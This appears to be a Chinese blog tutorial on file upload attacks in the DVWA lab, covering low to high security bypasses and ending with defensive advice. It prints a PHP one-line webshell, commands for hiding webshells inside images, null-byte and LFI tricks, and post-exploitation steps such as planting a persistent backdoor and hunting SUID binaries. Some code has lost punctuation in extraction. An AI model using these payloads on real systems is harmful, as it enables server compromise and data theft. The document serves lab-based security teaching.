DVWA文件上传漏洞实战:从原理到多种绕过技巧

张开发
2026/5/24 6:20:35 15 分钟阅读
DVWA文件上传漏洞实战:从原理到多种绕过技巧
1. 文件上传漏洞的本质与危害当你用手机上传自拍时系统会乖乖接收图片文件。但如果有人把病毒伪装成照片上传呢这就是文件上传漏洞的核心问题。我在实际渗透测试中发现超过60%的网站都存在不同程度的文件上传缺陷。文件上传功能就像小区的快递柜。正常情况应该检查包裹内容文件类型、核对收件人权限验证、扫描危险品恶意代码检测。但很多开发者只做了最简单的快递柜外形检查导致攻击者可以这样突破直接上传Webshell把PHP后门文件改名为cat.jpg上传双重扩展名欺骗如shell.php.jpg绕过简单过滤文件头伪装在图片文件中嵌入可执行代码解析漏洞利用利用服务器特性如IIS的;.php解析缺陷去年某电商平台就因上传漏洞被入侵攻击者通过图片评论功能上传ASP木马最终导致百万用户数据泄露。这种漏洞的危害程度取决于目标系统权限轻则篡改网页内容重则获取服务器控制权。2. DVWA环境快速搭建2.1 实验环境配置建议使用VirtualBox搭建靶场环境这是我验证过的稳定组合攻击机Kali Linux 2023IP自动分配即可靶机Metasploitable 2建议配置2GB内存# Kali初始化命令 sudo apt update sudo apt install -y burpsuite sqlmap webshellsDVWA的配置文件需要特别注意# /var/www/dvwa/config/config.inc.php $_DVWA[db_user] dvwa; $_DVWA[db_password] pssw0rd; $_DVWA[security_level] low; // 初始设置为低安全级别2.2 常见踩坑点第一次搭建时我遇到了三个典型问题PHP版本冲突Metasploitable 2默认PHP5需要修改/etc/php5/apache2/php.ini中的allow_url_include On文件权限问题执行chmod 777 /var/www/dvwa/hackable/uploads/数据库连接失败检查/var/lib/mysql目录权限3. 低安全级别实战突破3.1 基础Webshell上传制作最简单的PHP一句话木马?php system($_GET[cmd]); ?保存为shell.php直接上传通过浏览器访问http://靶机IP/dvwa/hackable/uploads/shell.php?cmdid将返回当前用户的权限信息。3.2 蚁剑深度利用中国蚁剑比菜刀更稳定安装时要注意wget https://github.com/AntSwordProject/antSword/releases/download/4.0.1/AntSword-Loader-v4.0.1-linux-x64.zip unzip AntSword*.zip chmod x AntSword连接成功后可以查看/etc/passwd获取系统用户编辑/var/www/html/index.php植入持久化后门通过find / -perm -4000查找SUID提权机会4. 中等级别绕过技巧4.1 BurpSuite修改Content-Type当遇到前端验证时拦截上传请求修改Content-Type: image/jpeg修改文件名为shell.php.jpg关键是要在Burp的Proxy→Options里关闭Intercept responses选项否则会卡在响应拦截阶段。4.2 十六进制00截断在Burp的Hex视图中找到文件名参数的ASCII码在.php后插入00实际效果shell.php[NULL].jpg→ 服务器解析为shell.php注意不同系统的编码差异Windows系统默认GBK编码Linux系统建议使用UTF-85. 高安全级别突破方案5.1 图片马合成技巧Windows下更稳定的合成命令certutil -encodehex shell.php shell.hex copy /b normal.jpg shell.hex mal.jpgLinux系统推荐使用exiftool注入exiftool -Comment?php system($_GET[cmd]); ? normal.jpg mv normal.jpg mal.php.jpg5.2 文件包含组合拳当遇到严格的白名单验证时先上传合规图片马利用本地文件包含漏洞LFI通过路径穿越执行代码http://靶机IP/dvwa/vulnerabilities/fi/?page../../../uploads/mal.jpg%00关键是要在php.ini中开启allow_url_include这个技巧在CTF比赛中特别常见。6. 防御方案设计建议根据OWASP推荐我总结的防护四层体系前端防御文件扩展名白名单非黑名单使用FileReader API预检文件内容服务端验证$finfo new finfo(FILEINFO_MIME_TYPE); $mime $finfo-file($_FILES[file][tmp_name]); $allowed [image/jpeg, image/png]; if(!in_array($mime, $allowed)) die(Invalid file type);存储安全上传目录禁用执行权限文件重命名MD5随机盐独立子域名隔离运行时防护使用OpenRASP进行行为监控定期扫描上传目录在最近一次企业级渗透测试中采用这种防御方案的系统成功拦截了所有上传攻击尝试。安全是个持续过程建议至少每季度进行一次上传功能审计。

更多文章